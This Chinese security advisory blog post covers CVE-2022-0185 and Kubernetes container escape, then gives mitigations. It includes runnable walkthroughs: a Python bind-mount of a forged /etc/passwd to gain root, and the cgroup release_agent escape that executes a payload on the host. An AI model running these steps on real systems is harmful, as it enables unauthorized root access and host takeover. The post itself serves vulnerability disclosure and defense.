高危!!Kubernetes 新型容器逃逸漏洞预警

2024-03-17 00:18

本文主要是介绍高危!!Kubernetes 新型容器逃逸漏洞预警,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2022 年 1 月 18 日,Linux 维护人员和供应商在 Linux 内核(5.1-rc1+)文件系统上下文功能的 legacy_parse_param 函数中发现一个堆缓冲区溢出[1]漏洞,该漏洞的 ID 编号为 CVE-2022-0185[2],属于高危漏洞,严重等级为 7.8

该漏洞允许在内核内存中进行越界写入。利用这个漏洞,无特权的攻击者可以绕过任何 Linux 命名空间的限制,将其权限提升到 root。例如,如果攻击者渗透到你的容器中,就可以从容器中逃逸,提升权限。

该漏洞于 2019 年 3 月被引入 Linux 内核 5.1-rc1 版本。1 月 18 日发布的补丁修复了这个问题,建议所有 Linux 用户下载并安装最新版本的内核。

漏洞细节

该漏洞是由文件系统上下文功能(fs/fs_context.c)的 legacy_parse_param 函数中发现的整数下溢条件引起的。文件系统上下文的功能是创建用于挂载和重新挂载文件系统的超级块,超级块记录了一个文件系统的特征,如块和文件大小,以及任何存储块。

通过向 legacy_parse_param 函数发送超过 4095 字节的输入,便可以绕过输入长度检测,导致越界写入,触发该漏洞。攻击者可以利用此漏洞将恶意代码写入内存的其他部分,导致系统崩溃,或者可以执行任意代码以提升权限。

legacy_parse_param 函数的输入数据是通过 fsconfig[3] 系统调用添加的,以用于配置文件系统的创建上下文(如 ext4 文件系统的超级块)。

// 使用 fsconfig 系统调用添加由 val 指向的以空字符(NULL)结尾的字符串
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);

要使用 fsconfig 系统调用,非特权用户必须至少在其当前命名空间中具有 CAP_SYS_ADMIN[4] 特权。这意味着如果用户可以进入另一个具有这些权限的命名空间,则足以利用此漏洞。

如果非特权用户无法获得 CAP_SYS_ADMIN 权限,攻击者可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 系统调用获得该权限。Unshare 系统调用可以让用户创建或克隆一个命名空间或用户,从而拥有进行进一步攻击所需的必要权限。这种技术对于使用 Linux 命名空间来隔离 Pod 的 Kubernetes 和容器世界非常重要,攻击者完全可以在容器逃逸攻击中利用这一点,一旦成功,攻击者便可以获得对主机操作系统和系统上运行的所有容器的完全控制权限,从而进一步攻击内部网段的其他机器,甚至可以在 Kubernetes 集群中部署恶意容器

发现该漏洞的研究团队于 1 月 25 日在 GitHub[5] 上发布了利用该漏洞的代码和概念证明。

PoC

Docker 和其他容器运行时默认都会使用 Seccomp 配置文件来阻止容器中的进程使用危险的系统调用,以保护 Linux 命名空间边界。

Seccomp(全称:secure computing mode)在 2.6.12 版本(2005 年 3 月 8 日)中引入 Linux 内核,将进程可用的系统调用限制为四种:read,write,_exit,sigreturn。最初的这种模式是白名单方式,在这种安全模式下,除了已打开的文件描述符和允许的四种系统调用,如果尝试其他系统调用,内核就会使用 SIGKILL 或 SIGSYS 终止该进程。

然而 Kubernetes 默认情况下并不会使用任何 Seccomp 或 AppArmor/SELinux 配置文件来限制 Pod 的系统调用,这就很危险了,Pod 中的进程可以自由访问危险的系统调用,伺机获得必要的特权(例如 CAP_SYS_ADMIN),以便进一步攻击。

我们先来看一个 Docker 的例子,在标准的 Docker 环境中,unshare 命令是无法使用的,Docker 的 Seccomp 过滤器[6]阻止了这个命令使用的系统调用。

$ docker run --rm -it alpine /bin/sh
/ # unshare
unshare: unshare(0x0): Operation not permitted

再来看下 Kubernetes 的 Pod:

$ kubectl run --rm -it test --image=ubuntu /bin/bash
If you don't see a command prompt, try pressing enter.
root@test:/# lsns | grep user
4026531837 user        3   1 root /bin/bash
root@test:/#
root@test:/# apt update && apt install -y libcap2 libcap-ng-utils
root@test:/# ......
root@test:/# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap

可以看到 Pod 中的 root 用户并没有 CAP_SYS_ADMIN 能力,但我们可以通过 unshare 命令来获取 CAP_SYS_ADMIN 能力。

root@test:/# unshare -Urm
#
# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
1     265   root        sh                full
# lsns | grep user
4026532695 user        3   265 root -sh

那么拥有了 CAP_SYS_ADMIN 可以做啥呢?这里给出两个示例,展示如何利用 CAP_SYS_ADMIN 来对系统进行渗透。

普通用户提权为 root 用户!

下面这段骚操作可以将主机中的普通用户直接提权为 root 用户。

先给 python3 赋予 CAP_SYS_ADMIN 能力(注意,不能对软链接进行操作,只能操作原文件)。

$ which python3
/usr/bin/python3$ ll /usr/bin/python3
lrwxrwxrwx 1 root root 9 Mar 13  2020 /usr/bin/python3 -> python3.8*$ setcap CAP_SYS_ADMIN+ep /usr/bin/python3.8
$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_sys_admin+ep

创建一个普通用户。

$ useradd test -d /home/test -m

然后切换到普通用户,并进入用户 home 目录。

$ su test
$ cd ~

将 /etc/passwd 复制到当前目录,并将 root 用户的密码改完 "password"。

$ cp /etc/passwd ./
$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/# 将第一行的 root:x 改为 root:$1$abc$BXBqpb9BZcZhXLgbee.0s/
$ head -2 passwd
root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

将修改后的 passwd 文件挂载到 /etc/passwd

# cat mount-passwd.py
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/test/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
$ python3 mount-passwd.py

最后就是见证奇迹的时刻!!!直接切换到 root 用户,并输入密码 "password"。

$ su root
Password:
root@coredns:/home/test#

好神奇,切换到 root 用户了。。。

来看看是不是真的获得了 root 的权限吧:

$ find / -name "*flag*" 2>/dev/null
/sys/kernel/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/block/vdb/hctx0/flags
/sys/kernel/debug/block/vda/hctx0/flags
/sys/kernel/debug/block/loop7/hctx0/flags
/sys/kernel/debug/block/loop6/hctx0/flags
/sys/kernel/debug/block/loop5/hctx0/flags
/sys/kernel/debug/block/loop4/hctx0/flags
/sys/kernel/debug/block/loop3/hctx0/flags
/sys/kernel/debug/block/loop2/hctx0/flags
/sys/kernel/debug/block/loop1/hctx0/flags
/sys/kernel/debug/block/loop0/hctx0/flags
....$ cat /sys/kernel/debug/block/vdb/hctx0/flags
alloc_policy=FIFO SHOULD_MERGE

嗯哼,是 root 没错了。

最后记得将 /etc/passwd 卸载哦。

$ umount /etc/passwd

所以,系统重启工程师(System Reboot Engineer)们,赶紧看看你们分配给其他人的普通用户有没有 CAP_SYS_ADMIN 能力吧~~

容器中查看主机所有进程!

再来看一个容器的例子,下面这段骚操作可以让你在容器中获取到主机正在运行的所有进程

我们不需要使用 --privileged 参数来运行特权容器,那样就没意思啦。

$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

接下来在容器中执行下面的命令,最终的效果是在主机上执行 ps aux 命令,并将其输出保存到容器中的 /output 文件。

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Creates a payload
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output

最终你可以在容器中看到主机中运行的所有进程:

root@0c84f7587629:/# cat /output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 172704 13148 ?        Ss    2021 131:32 /sbin/init nopti
root           2  0.0  0.0      0     0 ?        S     2021   0:18 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<    2021   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<    2021   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<    2021   0:00 [kworker/0:0H-kblockd]
root           8  0.0  0.0      0     0 ?        I<    2021   0:00 [mm_percpu_wq]
root           9  0.0  0.0      0     0 ?        S     2021  18:36 [ksoftirqd/0]
root          10  0.0  0.0      0     0 ?        I     2021 262:22 [rcu_sched]
root          11  0.0  0.0      0     0 ?        S     2021   3:06 [migration/0]
root          12  0.0  0.0      0     0 ?        S     2021   0:00 [idle_inject/0]
root          14  0.0  0.0      0     0 ?        S     2021   0:00 [cpuhp/0]
root          15  0.0  0.0      0     0 ?        S     2021   0:00 [cpuhp/1]
......

这些命令的具体含义我就不解释啦,感兴趣的可以自己对照注释研究一下。

可以确定的是,CAP_SYS_ADMIN 能力为攻击者提供了更多的可能性,不管是在宿主机还是在容器中,尤其是容器环境,如果我们因为不可抗因素无法升级内核,就要寻求其他的解决方案。

e6e2e04e7c9208df83c7ba5feb8b4f71.png

解决方案

容器层面

从 v1.22 版本开始,Kubernetes 便可以使用 SecurityContext 将默认的 Seccomp 或 AppArmor 配置文件添加到资源对象中,以保护 Pod、Deployment、Statefulset、Daemonset 等等。虽然这个功能目前处于 Alpha 阶段,但用户可以添加自己的 Seccomp 或 AppArmor 配置文件,并在 SecurityContext 中定义它。例如:

# pod-test.yaml
apiVersion: v1
kind: Pod
metadata:name: protected
spec:containers:- name: protectedimage: ubuntucommand:- sleep- infinitysecurityContext:seccompProfile:type: RuntimeDefault

创建 Pod 后,尝试使用 unshare 获得 CAP_SYS_ADMIN 能力。

$ kubectl exec -it protected -- bash
root@protected:/#
root@protected:/# unshare -Urm
unshare: unshare failed: Operation not permitted

输出结果显示,unshare 系统调用被成功阻止了,攻击者便无法利用该能力进行攻击。

主机层面

还有一种方案是从主机层面禁止用户使用 user namespace 的能力,不需要重启系统。例如,在 Ubuntu 中,只需要执行下面两行命令便可即时生效,并且重启系统后也会生效。

$ echo "kernel.unprivileged_userns_clone=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf

如果是 Red Hat 系的系统,可以执行下面的命令来达到同样的效果。

$ echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf

总结一下对于该漏洞的处理建议:

  • 如果你的环境可以接受给内核打补丁,也能接受重启系统,最好打补丁,或者升级内核。

  • 减少使用能够访问 CAP_SYS_ADMIN 的特权容器。

  • 对于没有特权的容器,确保有一个 Seccomp 过滤器来阻止其对 unshare 的调用,以减少风险。Docker 没问题,Kubernetes 需要额外操作。

  • 未来可以为 Kubernetes 集群中的所有工作负载启用 Seccomp 配置文件。目前该功能还处于 Alpha 阶段,需要通过特性开关(feature gate)[7]开启。

  • 在主机层面禁止用户使用 user namespace 的能力。

写在最后

容器环境错综复杂,特别是像 Kubernetes 这样的分布式调度平台,每一个环节都有自己的生命周期和攻击面,很容易暴露出安全风险,容器集群管理员必须注意每一处细节的安全问题。总的来说,绝大多数情况下容器的安全性都取决于 Linux 内核的安全性,因此,我们需要时刻关注任何安全问题,并尽快实施对应的解决方案。

参考资料

  • CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit[8]

  • CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape[9]

  • Excessive Capabilities[10]

  • CAP_SYS_ADMIN[11]

引用链接

[1]

堆缓冲区溢出: https://en.wikipedia.org/wiki/Heap_overflow

[2]

CVE-2022-0185: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0185

[3]

fsconfig: http://kernsec.org/pipermail/linux-security-module-archive/2019-February/011442.html

[4]

CAP_SYS_ADMIN: https://lwn.net/Articles/486306/

[5]

GitHub: https://github.com/Crusaders-of-Rust/CVE-2022-0185

[6]

Docker 的 Seccomp 过滤器: https://docs.docker.com/engine/security/seccomp/

[7]

特性开关(feature gate): https://kubernetes.io/docs/tutorials/security/seccomp/#enable-the-use-of-runtimedefault-as-the-default-seccomp-profile-for-all-workloads

[8]

CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit: https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/

[9]

CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape: https://sysdig.com/blog/cve-2022-0185-container-escape/

[10]

Excessive Capabilities: https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities

[11]

CAP_SYS_ADMIN: https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_admin

这篇关于高危!!Kubernetes 新型容器逃逸漏洞预警的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/817208

相关文章

LeetCode11. 盛最多水的容器题解

LeetCode11. 盛最多水的容器题解 题目链接: https://leetcode.cn/problems/container-with-most-water 示例 思路 暴力解法 定住一个柱子不动,然后用其他柱子与其围住面积,取最大值。 代码如下: public int maxArea1(int[] height) {int n = height.length;int

亮相WOT全球技术创新大会,揭秘火山引擎边缘容器技术在泛CDN场景的应用与实践

2024年6月21日-22日,51CTO“WOT全球技术创新大会2024”在北京举办。火山引擎边缘计算架构师李志明受邀参与,以“边缘容器技术在泛CDN场景的应用和实践”为主题,与多位行业资深专家,共同探讨泛CDN行业技术架构以及云原生与边缘计算的发展和展望。 火山引擎边缘计算架构师李志明表示:为更好地解决传统泛CDN类业务运行中的问题,火山引擎边缘容器团队参考行业做法,结合实践经验,打造火山

云原生容器技术入门:Docker、K8s技术的基本原理和用途

🐇明明跟你说过:个人主页 🏅个人专栏:《未来已来:云原生之旅》🏅 🔖行路有良友,便是天堂🔖 目录 一、容器技术概述 1、什么是容器技术 2、容器技术的历史与发展 3、容器技术与虚拟机的比较 4、容器技术在云原生中的作用 二、Docker基础 1、Docker简介 2、Docker架构 3、Docker与工作原理 三、Kubernetes(k8s)基础 1、

Web容器启动时加载Spring分析

在应用程序web.xml中做了以下配置信息时,当启动Web容器时就会自动加载Spring容器。 [java]  view plain copy print ? <listener>          <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>

【漏洞复现】畅捷通T+ keyEdit.aspx SQL漏洞

0x01 产品简介 畅捷通 T+ 是一款灵动,智慧,时尚的基于互联网时代开发的管理软件,主要针对中小型工贸与商贸企业,尤其适合有异地多组织机构(多工厂,多仓库,多办事处,多经销商)的企业,涵盖了财务,业务,生产等领域的应用,产品应用功能包括: 采购管理、库存管理、销售管理、生产管理、分销管理、零售管理、往来管理、现金银行管理、总账、移动应用等,融入了社交化、移动化、电子商务、互联网信息订阅等元素

Kubernetes排错(十)-处理容器数据磁盘被写满

容器数据磁盘被写满造成的危害: 不能创建 Pod (一直 ContainerCreating)不能删除 Pod (一直 Terminating)无法 exec 到容器 如何判断是否被写满? 容器数据目录大多会单独挂数据盘,路径一般是 /var/lib/docker,也可能是 /data/docker 或 /opt/docker,取决于节点被添加时的配置,可通过 docker info 确定:

汽车网络安全 -- 漏洞该如何管理

目录 1.漏洞获取途径汇总 2.CAVD的漏洞管理规则简析 2.1 通用术语简介 2.2 漏洞评分指标 2.3.1 场景参数 2.3.2 威胁参数  2.3.3 影响参数 2.3 漏洞等级判定 ​3.小结 在汽车网络安全的时代背景下,作为一直从事车控类ECU基础软件开发的软件dog,一直在找切入点去了解车联网产品的各种网络安全知识。 特别是历史上各种汽车网络安全事件、

kubernetes客户端crictl命令

kubernetes客户端crictl命令 crictl 是一个命令行工具,用于与容器运行时接口(CRI)兼容的容器运行时(如 containerd 和 CRI-O)进行交互。crictl 提供了许多有用的命令来管理容器、镜像和 sandboxes。 官方仓库地址: kubernetes-sigs/cri-tools: CLI and validation tools for Kubelet

client-go入门之1:创建连接Kubernetes集群的客户端

文章目录 简介使用 简介 我们可以使用Dashboard或kubectl来访问k8s的API,也可以使用编程语言,如Go,Java,Python作为客户端来访问k8s。client-go是一个使用go语言编写的库,用来连接k8s集群并对集群资源进行操作。 使用 以下代码使用go连上k8s集群,并查询集群的节点信息: package mainimport ("fmt"meta

【C++11 之新增容器 array、foward_list、tuple、unordered_(multi)map/set】应知应会

C++11 标准中新增了多个容器,这些容器为 C++ 程序员提供了更多的选择,以满足不同的编程需求。以下是对这些新容器的介绍和使用案例: std::array 介绍: std::array 是一个固定大小的数组容器,它在栈上分配内存,并提供了类似于标准库容器的接口。它提供了更好的类型安全性和范围检查,同时保持了与原生数组相似的性能。std::array 的大小必须在编译时确定,并且不能更改。